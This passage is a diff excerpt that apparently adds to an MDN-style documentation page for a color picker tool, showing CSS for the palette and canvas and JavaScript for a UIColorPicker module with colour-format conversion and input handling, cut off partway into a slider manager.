+	line-height: 50px;
+	overflow: hidden;
+	float: left;
+	transition: all 0.5s;
+}
+
+#color-palette .container &gt; * {
+	float: left;
+}
+
+#color-palette .title {
+	width: 100px;
+	padding: 0 10px;
+	text-align: right;
+	line-height: inherit;
+}
+
+#color-palette .palette {
+	width: 456px;
+	height: 38px;
+	margin: 3px;
+	padding: 3px;
+	display: table;
+	background-color: #FFF;
+}
+
+#color-palette .palette .sample {
+	width: 30px;
+	height: 30px;
+	margin: 3px;
+	position: relative;
+	border: 1px solid #DDD;
+	float: left;
+	transition: all 0.2s;
+}
+
+#color-palette .palette .sample:hover {
+	cursor: pointer;
+	border-color: #BBB;
+	transform: scale(1.15);
+	border-radius: 3px;
+}
+
+#color-palette .controls {
+}
+
+#color-palette .controls &gt; * {
+	float: left;
+}
+
+#color-palette .controls &gt; *:hover {
+	cursor: pointer;
+}
+
+#color-palette .controls .lock {
+	width: 24px;
+	height: 24px;
+	margin: 10px;
+	padding: 3px;
+	background-image: url('https://mdn.mozillademos.org/files/6077/lock.png');
+	background-repeat: no-repeat;
+	background-position: bottom right;
+}
+
+#color-palette .controls .lock:hover {
+	/*background-image: url('images/unlocked-hover.png');*/
+	background-position: bottom left;
+}
+
+#color-palette .controls .lock[locked-state='true'] {
+	/*background-image: url('images/locked.png');*/
+	background-position: top left ;
+}
+
+#color-palette .controls .lock[locked-state='true']:hover {
+	/*background-image: url('images/lock-hover.png');*/
+	background-position: top right;
+}
+
+/**
+ * Canvas
+ */
+
+#canvas {
+	width: 100%;
+	height: 300px;
+	min-height: 250px;
+	border-top: 1px solid #DDD;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+	position: relative;
+	float: left;
+}
+
+#canvas[data-tutorial='drop'] {
+	text-align: center;
+	font-size: 30px;
+	color: #777;
+}
+
+#canvas[data-tutorial='drop']:before {
+	content: "Drop colors here to compare";
+	width: 40%;
+	padding: 30px 9% 70px 11%;
+
+	background-image: url('https://mdn.mozillademos.org/files/6075/drop.png');
+	background-repeat: no-repeat;
+	background-position: left 35px top 60%;
+
+	text-align: right;
+
+	border: 3px dashed rgb(221, 221, 221);
+	border-radius: 15px;
+
+	position: absolute;
+	top: 50px;
+	left: 20%;
+}
+
+#canvas[data-tutorial='drop']:after {
+	content: "adjust, change or modify";
+	width: 40%;
+	font-size: 24px;
+	position: absolute;
+	top: 130px;
+	left: 32%;
+	z-index: 2;
+}
+
+#canvas [data-tutorial='dblclick'] {
+	background-color: #999 !important;
+}
+
+#canvas [data-tutorial='dblclick']:before {
+	content: "double click to activate";
+	width: 80px;
+	color: #FFF;
+	position: absolute;
+	top: 10%;
+	left: 20%;
+	z-index: 2;
+}
+
+#canvas .sample {
+	width: 100px;
+	height: 100px;
+	min-width: 20px;
+	min-height: 20px;
+	position: absolute;
+	border: 1px solid rgba(255, 255, 255, 0.3);
+}
+
+#canvas .sample:hover {
+	cursor: move;
+}
+
+#canvas .sample[data-active='true']:after {
+	content: "";
+	position: absolute;
+	background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
+	width: 100%;
+	height: 12px;
+	top: -12px;
+	z-index: 2;
+}
+
+#canvas .sample:hover &gt; * {
+	cursor: pointer;
+	display: block !important;
+}
+
+#canvas .sample .resize-handle {
+	display: none;
+}
+
+#canvas .sample .pick {
+	width: 10px;
+	height: 10px;
+	margin: 5px;
+	background: url('https://mdn.mozillademos.org/files/6079/pick.png') center no-repeat;
+	position: absolute;
+	top: 0;
+	left: 0;
+	display: none;
+}
+
+#canvas .sample .delete {
+	width: 10px;
+	height: 10px;
+	margin: 5px;
+	background: url('https://mdn.mozillademos.org/files/6069/close.png') center no-repeat;
+	position: absolute;
+	top: 0;
+	right: 0;
+	display: none;
+}
+
+
+/**
+ * Canvas controls
+ */
+
+#canvas .toggle-bg {
+	width: 16px;
+	height: 16px;
+	margin: 5px;
+	background: url("images/canvas-controls.png") center left no-repeat;
+	position: absolute;
+	top: 0;
+	right: 0;
+}
+
+#canvas .toggle-bg:hover {
+	cursor: pointer;
+}
+
+#canvas[data-bg='true'] {
+	background: none;
+}
+
+#canvas[data-bg='true'] .toggle-bg {
+	background: url('https://mdn.mozillademos.org/files/6067/canvas-controls.png') center right no-repeat;
+}
+
+#zindex {
+	height: 20px;
+	margin: 5px;
+	font-size: 16px;
+	position: absolute;
+	opacity: 0;
+	top: -10000px;
+	left: 0;
+	color: #777;
+	float: left;
+	transition: opacity 1s;
+}
+
+#zindex input {
+	border: 1px solid #DDD;
+	font-size: 16px;
+	color: #777;
+}
+
+#zindex .ui-input-slider-info {
+	width: 60px;
+}
+
+#zindex[data-active='true'] {
+	top: 0;
+	opacity: 1;
+}
+
+</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js">'use strict';
+
+var UIColorPicker = (function UIColorPicker() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	var subscribers = [];
+	var pickers = [];
+
+	/**
+	 * RGBA Color class
+	 *
+	 * HSV/HSB and HSL (hue, saturation, value / brightness, lightness)
+	 * @param hue			0-360
+	 * @param saturation	0-100
+	 * @param value 		0-100
+	 * @param lightness		0-100
+	 */
+
+	function Color(color) {
+
+		if(color instanceof Color === true) {
+			this.copy(color);
+			return;
+		}
+
+		this.r = 0;
+		this.g = 0;
+		this.b = 0;
+		this.a = 1;
+		this.hue = 0;
+		this.saturation = 0;
+		this.value = 0;
+		this.lightness = 0;
+		this.format = 'HSV';
+	}
+
+	function RGBColor(r, g, b) {
+		var color = new Color();
+		color.setRGBA(r, g, b, 1);
+		return color;
+	}
+
+	function RGBAColor(r, g, b, a) {
+		var color = new Color();
+		color.setRGBA(r, g, b, a);
+		return color;
+	}
+
+	function HSVColor(h, s, v) {
+		var color = new Color();
+		color.setHSV(h, s, v);
+		return color;
+	}
+
+	function HSVAColor(h, s, v, a) {
+		var color = new Color();
+		color.setHSV(h, s, v);
+		color.a = a;
+		return color;
+	}
+
+	function HSLColor(h, s, l) {
+		var color = new Color();
+		color.setHSL(h, s, l);
+		return color;
+	}
+
+	function HSLAColor(h, s, l, a) {
+		var color = new Color();
+		color.setHSL(h, s, l);
+		color.a = a;
+		return color;
+	}
+
+	Color.prototype.copy = function copy(obj) {
+		if(obj instanceof Color !== true) {
+			console.log('Typeof parameter not Color');
+			return;
+		}
+
+		this.r = obj.r;
+		this.g = obj.g;
+		this.b = obj.b;
+		this.a = obj.a;
+		this.hue = obj.hue;
+		this.saturation = obj.saturation;
+		this.value = obj.value;
+		this.format = '' + obj.format;
+		this.lightness = obj.lightness;
+	};
+
+	Color.prototype.setFormat = function setFormat(format) {
+		if (format === 'HSV')
+			this.format = 'HSV';
+		if (format === 'HSL')
+			this.format = 'HSL';
+	};
+
+	/*========== Methods to set Color Properties ==========*/
+
+	Color.prototype.isValidRGBValue = function isValidRGBValue(value) {
+		return (typeof(value) === 'number' &amp;&amp; isNaN(value) === false &amp;&amp;
+			value &gt;= 0 &amp;&amp; value &lt;= 255);
+	};
+
+	Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
+		if (this.isValidRGBValue(red) === false ||
+			this.isValidRGBValue(green) === false ||
+			this.isValidRGBValue(blue) === false)
+			return;
+
+			this.r = red | 0;
+			this.g = green | 0;
+			this.b = blue | 0;
+
+		if (this.isValidRGBValue(alpha) === true)
+			this.a = alpha | 0;
+	};
+
+	Color.prototype.setByName = function setByName(name, value) {
+		if (name === 'r' || name === 'g' || name === 'b') {
+			if(this.isValidRGBValue(value) === false)
+				return;
+
+			this[name] = value;
+			this.updateHSX();
+		}
+	};
+
+	Color.prototype.setHSV = function setHSV(hue, saturation, value) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.value = value;
+		this.HSVtoRGB();
+	};
+
+	Color.prototype.setHSL = function setHSL(hue, saturation, lightness) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.lightness = lightness;
+		this.HSLtoRGB();
+	};
+
+	Color.prototype.setHue = function setHue(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value &lt; 0 || value &gt; 359)
+			return;
+		this.hue = value;
+		this.updateRGB();
+	};
+
+	Color.prototype.setSaturation = function setSaturation(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value &lt; 0 || value &gt; 100)
+			return;
+		this.saturation = value;
+		this.updateRGB();
+	};
+
+	Color.prototype.setValue = function setValue(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value &lt; 0 || value &gt; 100)
+			return;
+		this.value = value;
+		this.HSVtoRGB();
+	};
+
+	Color.prototype.setLightness = function setLightness(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value &lt; 0 || value &gt; 100)
+			return;
+		this.lightness = value;
+		this.HSLtoRGB();
+	};
+
+	Color.prototype.setHexa = function setHexa(value) {
+		var valid  = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value);
+
+		if (valid !== true)
+			return;
+
+		if (value[0] === '#')
+			value = value.slice(1, value.length);
+
+		if (value.length === 3)
+			value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,'$1$1$2$2$3$3');
+
+		this.r = parseInt(value.substr(0, 2), 16);
+		this.g = parseInt(value.substr(2, 2), 16);
+		this.b = parseInt(value.substr(4, 2), 16);
+
+		this.alpha	= 1;
+		this.RGBtoHSV();
+	};
+
+	/*========== Conversion Methods ==========*/
+
+	Color.prototype.convertToHSL = function convertToHSL() {
+		if (this.format === 'HSL')
+			return;
+
+		this.setFormat('HSL');
+		this.RGBtoHSL();
+	};
+
+	Color.prototype.convertToHSV = function convertToHSV() {
+		if (this.format === 'HSV')
+			return;
+
+		this.setFormat('HSV');
+		this.RGBtoHSV();
+	};
+
+	/*========== Update Methods ==========*/
+
+	Color.prototype.updateRGB = function updateRGB() {
+		if (this.format === 'HSV') {
+			this.HSVtoRGB();
+			return;
+		}
+
+		if (this.format === 'HSL') {
+			this.HSLtoRGB();
+			return;
+		}
+	};
+
+	Color.prototype.updateHSX = function updateHSX() {
+		if (this.format === 'HSV') {
+			this.RGBtoHSV();
+			return;
+		}
+
+		if (this.format === 'HSL') {
+			this.RGBtoHSL();
+			return;
+		}
+	};
+
+	Color.prototype.HSVtoRGB = function HSVtoRGB() {
+		var sat = this.saturation / 100;
+		var value = this.value / 100;
+		var C = sat * value;
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = value - C;
+		var precision = 255;
+
+		C = (C + m) * precision | 0;
+		X = (X + m) * precision | 0;
+		m = m * precision | 0;
+
+		if (H &gt;= 0 &amp;&amp; H &lt; 1) {	this.setRGBA(C, X, m);	return; }
+		if (H &gt;= 1 &amp;&amp; H &lt; 2) {	this.setRGBA(X, C, m);	return; }
+		if (H &gt;= 2 &amp;&amp; H &lt; 3) {	this.setRGBA(m, C, X);	return; }
+		if (H &gt;= 3 &amp;&amp; H &lt; 4) {	this.setRGBA(m, X, C);	return; }
+		if (H &gt;= 4 &amp;&amp; H &lt; 5) {	this.setRGBA(X, m, C);	return; }
+		if (H &gt;= 5 &amp;&amp; H &lt; 6) {	this.setRGBA(C, m, X);	return; }
+	};
+
+	Color.prototype.HSLtoRGB = function HSLtoRGB() {
+		var sat = this.saturation / 100;
+		var light = this.lightness / 100;
+		var C = sat * (1 - Math.abs(2 * light - 1));
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = light - C/2;
+		var precision = 255;
+
+		C = (C + m) * precision | 0;
+		X = (X + m) * precision | 0;
+		m = m * precision | 0;
+
+		if (H &gt;= 0 &amp;&amp; H &lt; 1) {	this.setRGBA(C, X, m);	return; }
+		if (H &gt;= 1 &amp;&amp; H &lt; 2) {	this.setRGBA(X, C, m);	return; }
+		if (H &gt;= 2 &amp;&amp; H &lt; 3) {	this.setRGBA(m, C, X);	return; }
+		if (H &gt;= 3 &amp;&amp; H &lt; 4) {	this.setRGBA(m, X, C);	return; }
+		if (H &gt;= 4 &amp;&amp; H &lt; 5) {	this.setRGBA(X, m, C);	return; }
+		if (H &gt;= 5 &amp;&amp; H &lt; 6) {	this.setRGBA(C, m, X);	return; }
+	};
+
+	Color.prototype.RGBtoHSV = function RGBtoHSV() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / cmax;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue &lt; 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.value = (cmax * 100) | 0;
+	};
+
+	Color.prototype.RGBtoHSL = function RGBtoHSL() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+		var lightness = (cmax + cmin) / 2;
+		var X = (1 - Math.abs(2 * lightness - 1));
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / X;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue &lt; 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.lightness = (lightness * 100) | 0;
+	};
+
+	/*========== Get Methods ==========*/
+
+	Color.prototype.getHexa = function getHexa() {
+		var r = this.r.toString(16);
+		var g = this.g.toString(16);
+		var b = this.b.toString(16);
+		if (this.r &lt; 16) r = '0' + r;
+		if (this.g &lt; 16) g = '0' + g;
+		if (this.b &lt; 16) b = '0' + b;
+		var value = '#' + r + g + b;
+		return value.toUpperCase();
+	};
+
+	Color.prototype.getRGBA = function getRGBA() {
+
+		var rgb = '(' + this.r + ', ' + this.g + ', ' + this.b;
+		var a = '';
+		var v = '';
+		var x = parseFloat(this.a);
+		if (x !== 1) {
+			a = 'a';
+			v = ', ' + x;
+		}
+
+		var value = 'rgb' + a + rgb + v + ')';
+		return value;
+	};
+
+	Color.prototype.getHSLA = function getHSLA() {
+		if (this.format === 'HSV') {
+			var color = new Color(this);
+			color.setFormat('HSL');
+			color.updateHSX();
+			return color.getHSLA();
+		}
+
+		var a = '';
+		var v = '';
+		var hsl = '(' + this.hue + ', ' + this.saturation + '%, ' + this.lightness +'%';
+		var x = parseFloat(this.a);
+		if (x !== 1) {
+			a = 'a';
+			v = ', ' + x;
+		}
+
+		var value = 'hsl' + a + hsl + v + ')';
+		return value;
+	};
+
+	Color.prototype.getColor = function getColor() {
+		if (this.a | 0 === 1)
+			return this.getHexa();
+		return this.getRGBA();
+	};
+
+	/*=======================================================================*/
+	/*=======================================================================*/
+
+	/*========== Capture Mouse Movement ==========*/
+
+	var setMouseTracking = function setMouseTracking(elem, callback) {
+		elem.addEventListener('mousedown', function(e) {
+			callback(e);
+			document.addEventListener('mousemove', callback);
+		});
+
+		document.addEventListener('mouseup', function(e) {
+			document.removeEventListener('mousemove', callback);
+		});
+	};
+
+	/*====================*/
+	// Color Picker Class
+	/*====================*/
+
+	function ColorPicker(node) {
+		this.color = new Color();
+		this.node = node;
+		this.subscribers = [];
+
+		var type = this.node.getAttribute('data-mode');
+		var topic = this.node.getAttribute('data-topic');
+
+		this.topic = topic;
+		this.picker_mode = (type === 'HSL') ? 'HSL' : 'HSV';
+		this.color.setFormat(this.picker_mode);
+
+		this.createPickingArea();
+		this.createHueArea();
+
+		this.newInputComponent('H', 'hue', this.inputChangeHue.bind(this));
+		this.newInputComponent('S', 'saturation', this.inputChangeSaturation.bind(this));
+		this.newInputComponent('V', 'value', this.inputChangeValue.bind(this));
+		this.newInputComponent('L', 'lightness', this.inputChangeLightness.bind(this));
+
+		this.createAlphaArea();
+
+		this.newInputComponent('R', 'red', this.inputChangeRed.bind(this));
+		this.newInputComponent('G', 'green', this.inputChangeGreen.bind(this));
+		this.newInputComponent('B', 'blue', this.inputChangeBlue.bind(this));
+
+		this.createPreviewBox();
+		this.createChangeModeButton();
+
+		this.newInputComponent('alpha', 'alpha', this.inputChangeAlpha.bind(this));
+		this.newInputComponent('hexa', 'hexa', this.inputChangeHexa.bind(this));
+
+		this.setColor(this.color);
+		pickers[topic] = this;
+	}
+
+	/*************************************************************************/
+	//				Function for generating the color-picker
+	/*************************************************************************/
+
+	ColorPicker.prototype.createPickingArea = function createPickingArea() {
+		var area = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'picking-area';
+		picker.className = 'picker';
+
+		this.picking_area = area;
+		this.color_picker = picker;
+		setMouseTracking(area, this.updateColor.bind(this));
+
+		area.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createHueArea = function createHueArea() {
+		var area = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'hue';
+		picker.className ='slider-picker';
+
+		this.hue_area = area;
+		this.hue_picker = picker;
+		setMouseTracking(area, this.updateHueSlider.bind(this));
+
+		area.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createAlphaArea = function createAlphaArea() {
+		var area = document.createElement('div');
+		var mask = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'alpha';
+		mask.className = 'alpha-mask';
+		picker.className = 'slider-picker';
+
+		this.alpha_area = area;
+		this.alpha_mask = mask;
+		this.alpha_picker = picker;
+		setMouseTracking(area, this.updateAlphaSlider.bind(this));
+
+		area.appendChild(mask);
+		mask.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createPreviewBox = function createPreviewBox(e) {
+		var preview_box = document.createElement('div');
+		var preview_color = document.createElement('div');
+
+		preview_box.className = 'preview';
+		preview_color.className = 'preview-color';
+
+		this.preview_color = preview_color;
+
+		preview_box.appendChild(preview_color);
+		this.node.appendChild(preview_box);
+	};
+
+	ColorPicker.prototype.newInputComponent = function newInputComponent(title, topic, onChangeFunc) {
+		var wrapper = document.createElement('div');
+		var input = document.createElement('input');
+		var info = document.createElement('span');
+
+		wrapper.className = 'input';
+		wrapper.setAttribute('data-topic', topic);
+		info.textContent = title;
+		info.className = 'name';
+		input.setAttribute('type', 'text');
+
+		wrapper.appendChild(info);
+		wrapper.appendChild(input);
+		this.node.appendChild(wrapper);
+
+		input.addEventListener('change', onChangeFunc);
+		input.addEventListener('click', function() {
+			this.select();
+		});
+
+		this.subscribe(topic, function(value) {
+			input.value = value;
+		});
+	};
+
+	ColorPicker.prototype.createChangeModeButton = function createChangeModeButton() {
+
+		var button = document.createElement('div');
+		button.className = 'switch_mode';
+		button.addEventListener('click', function() {
+			if (this.picker_mode === 'HSV')
+				this.setPickerMode('HSL');
+			else
+				this.setPickerMode('HSV');
+
+		}.bind(this));
+
+		this.node.appendChild(button);
+	};
+
+	/*************************************************************************/
+	//					Updates properties of UI elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.updateColor = function updateColor(e) {
+		var x = e.pageX - this.picking_area.offsetLeft;
+		var y = e.pageY - this.picking_area.offsetTop;
+		var picker_offset = 5;
+
+		// width and height should be the same
+		var size = this.picking_area.clientWidth;
+
+		if (x &gt; size) x = size;
+		if (y &gt; size) y = size;
+		if (x &lt; 0) x = 0;
+		if (y &lt; 0) y = 0;
+
+		var value = 100 - (y * 100 / size) | 0;
+		var saturation = x * 100 / size | 0;
+
+		if (this.picker_mode === 'HSV')
+			this.color.setHSV(this.color.hue, saturation, value);
+		if (this.picker_mode === 'HSL')
+			this.color.setHSL(this.color.hue, saturation, value);
+
+		this.color_picker.style.left = x - picker_offset + 'px';
+		this.color_picker.style.top = y - picker_offset + 'px';
+
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('value', value);
+		this.notify('lightness', value);
+		this.notify('saturation', saturation);
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.updateHueSlider = function updateHueSlider(e) {
+		var x = e.pageX - this.hue_area.offsetLeft;
+		var width = this.hue_area.clientWidth;
+
+		if (x &lt; 0) x = 0;
+		if (x &gt; width) x = width;
+
+		// TODO 360 =&gt; 359
+		var hue = ((359 * x) / width) | 0;
+		// if (hue === 360) hue = 359;
+
+		this.updateSliderPosition(this.hue_picker, x);
+		this.setHue(hue);
+	};
+
+	ColorPicker.prototype.updateAlphaSlider = function updateAlphaSlider(e) {
+		var x = e.pageX - this.alpha_area.offsetLeft;
+		var width = this.alpha_area.clientWidth;
+
+		if (x &lt; 0) x = 0;
+		if (x &gt; width) x = width;
+
+		this.color.a = (x / width).toFixed(2);
+
+		this.updateSliderPosition(this.alpha_picker, x);
+		this.updatePreviewColor();
+
+		this.notify('alpha', this.color.a);
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.setHue = function setHue(value) {
+		this.color.setHue(value);
+
+		this.updatePickerBackground();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+		this.notify('hue', this.color.hue);
+
+		notify(this.topic, this.color);
+	};
+
+	// Updates when one of Saturation/Value/Lightness changes
+	ColorPicker.prototype.updateSLV = function updateSLV() {
+		this.updatePickerPosition();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+
+		notify(this.topic, this.color);
+	};
+
+	/*************************************************************************/
+	//				Update positions of various UI elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.updatePickerPosition = function updatePickerPosition() {
+		var size = this.picking_area.clientWidth;
+		var value = 0;
+		var offset = 5;
+
+		if (this.picker_mode === 'HSV')
+			value = this.color.value;
+		if (this.picker_mode === 'HSL')
+			value = this.color.lightness;
+
+		var x = (this.color.saturation * size / 100) | 0;
+		var y = size - (value * size / 100) | 0;
+
+		this.color_picker.style.left = x - offset + 'px';
+		this.color_picker.style.top = y - offset + 'px';
+	};
+
+	ColorPicker.prototype.updateSliderPosition = function updateSliderPosition(elem, pos) {
+		elem.style.left = Math.max(pos - 3, -2) + 'px';
+	};
+
+	ColorPicker.prototype.updateHuePicker = function updateHuePicker() {
+		var size = this.hue_area.clientWidth;
+		var offset = 1;
+		var pos = (this.color.hue * size / 360 ) | 0;
+		this.hue_picker.style.left = pos - offset + 'px';
+	};
+
+	ColorPicker.prototype.updateAlphaPicker = function updateAlphaPicker() {
+		var size = this.alpha_area.clientWidth;
+		var offset = 1;
+		var pos = (this.color.a * size) | 0;
+		this.alpha_picker.style.left = pos - offset + 'px';
+	};
+
+	/*************************************************************************/
+	//						Update background colors
+	/*************************************************************************/
+
+	ColorPicker.prototype.updatePickerBackground = function updatePickerBackground() {
+		var nc = new Color(this.color);
+		nc.setHSV(nc.hue, 100, 100);
+		this.picking_area.style.backgroundColor = nc.getHexa();
+	};
+
+	ColorPicker.prototype.updateAlphaGradient = function updateAlphaGradient() {
+		this.alpha_mask.style.backgroundColor = this.color.getHexa();
+	};
+
+	ColorPicker.prototype.updatePreviewColor = function updatePreviewColor() {
+		this.preview_color.style.backgroundColor = this.color.getColor();
+	};
+
+	/*************************************************************************/
+	//						Update input elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.inputChangeHue = function inputChangeHue(e) {
+		var value = parseInt(e.target.value);
+		this.setHue(value);
+		this.updateHuePicker();
+	};
+
+	ColorPicker.prototype.inputChangeSaturation = function inputChangeSaturation(e) {
+		var value = parseInt(e.target.value);
+		this.color.setSaturation(value);
+		e.target.value = this.color.saturation;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeValue = function inputChangeValue(e) {
+		var value = parseInt(e.target.value);
+		this.color.setValue(value);
+		e.target.value = this.color.value;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeLightness = function inputChangeLightness(e) {
+		var value = parseInt(e.target.value);
+		this.color.setLightness(value);
+		e.target.value = this.color.lightness;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeRed = function inputChangeRed(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('r', value);
+		e.target.value = this.color.r;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeGreen = function inputChangeGreen(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('g', value);
+		e.target.value = this.color.g;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeBlue = function inputChangeBlue(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('b', value);
+		e.target.value = this.color.b;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeAlpha = function inputChangeAlpha(e) {
+		var value = parseFloat(e.target.value);
+
+		if (typeof value === 'number' &amp;&amp; isNaN(value) === false &amp;&amp;
+			value &gt;= 0 &amp;&amp; value &lt;= 1)
+			this.color.a = value.toFixed(2);
+
+		e.target.value = this.color.a;
+		this.updateAlphaPicker();
+	};
+
+	ColorPicker.prototype.inputChangeHexa = function inputChangeHexa(e) {
+		var value = e.target.value;
+		this.color.setHexa(value);
+		this.setColor(this.color);
+	};
+
+	/*************************************************************************/
+	//							Internal Pub/Sub
+	/*************************************************************************/
+
+	ColorPicker.prototype.subscribe = function subscribe(topic, callback) {
+		this.subscribers[topic] = callback;
+	};
+
+	ColorPicker.prototype.notify = function notify(topic, value) {
+		if (this.subscribers[topic])
+			this.subscribers[topic](value);
+	};
+
+	/*************************************************************************/
+	//							Set Picker Properties
+	/*************************************************************************/
+
+	ColorPicker.prototype.setColor = function setColor(color) {
+		if(color instanceof Color !== true) {
+			console.log('Typeof parameter not Color');
+			return;
+		}
+
+		if (color.format !== this.picker_mode) {
+			color.setFormat(this.picker_mode);
+			color.updateHSX();
+		}
+
+		this.color.copy(color);
+		this.updateHuePicker();
+		this.updatePickerPosition();
+		this.updatePickerBackground();
+		this.updateAlphaPicker();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+
+		this.notify('hue', this.color.hue);
+		this.notify('saturation', this.color.saturation);
+		this.notify('value', this.color.value);
+		this.notify('lightness', this.color.lightness);
+
+		this.notify('alpha', this.color.a);
+		this.notify('hexa', this.color.getHexa());
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.setPickerMode = function setPickerMode(mode) {
+		if (mode !== 'HSV' &amp;&amp; mode !== 'HSL')
+			return;
+
+		this.picker_mode = mode;
+		this.node.setAttribute('data-mode', this.picker_mode);
+		this.setColor(this.color);
+	};
+
+	/*************************************************************************/
+	//								UNUSED
+	/*************************************************************************/
+
+	var setPickerMode = function setPickerMode(topic, mode) {
+		if (pickers[topic])
+			pickers[topic].setPickerMode(mode);
+	};
+
+	var setColor = function setColor(topic, color) {
+		if (pickers[topic])
+			pickers[topic].setColor(color);
+	};
+
+	var getColor = function getColor(topic) {
+		if (pickers[topic])
+			return new Color(pickers[topic].color);
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(callback) {
+		subscribers.indexOf(callback);
+		subscribers.splice(index, 1);
+	};
+
+	var notify = function notify(topic, value) {
+		if (subscribers[topic] === undefined || subscribers[topic].length === 0)
+			return;
+
+		var color = new Color(value);
+		for (var i in subscribers[topic])
+			subscribers[topic][i](color);
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-color-picker');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new ColorPicker(elem[i]);
+	};
+
+	return {
+		init : init,
+		Color : Color,
+		RGBColor : RGBColor,
+		RGBAColor : RGBAColor,
+		HSVColor : HSVColor,
+		HSVAColor : HSVAColor,
+		HSLColor : HSLColor,
+		HSLAColor : HSLAColor,
+		setColor : setColor,
+		getColor : getColor,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPickerMode : setPickerMode
+	};
+
+})();
+
+
+
+/**
+ * UI-SlidersManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+		input.style.width = 50 + obj.precision * 10 + 'px';
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseFloat(e.target.value);
+
+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
+		});
+
+		return input;
+	};
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+
+			document.addEventListener("mouseup", slideEnd);
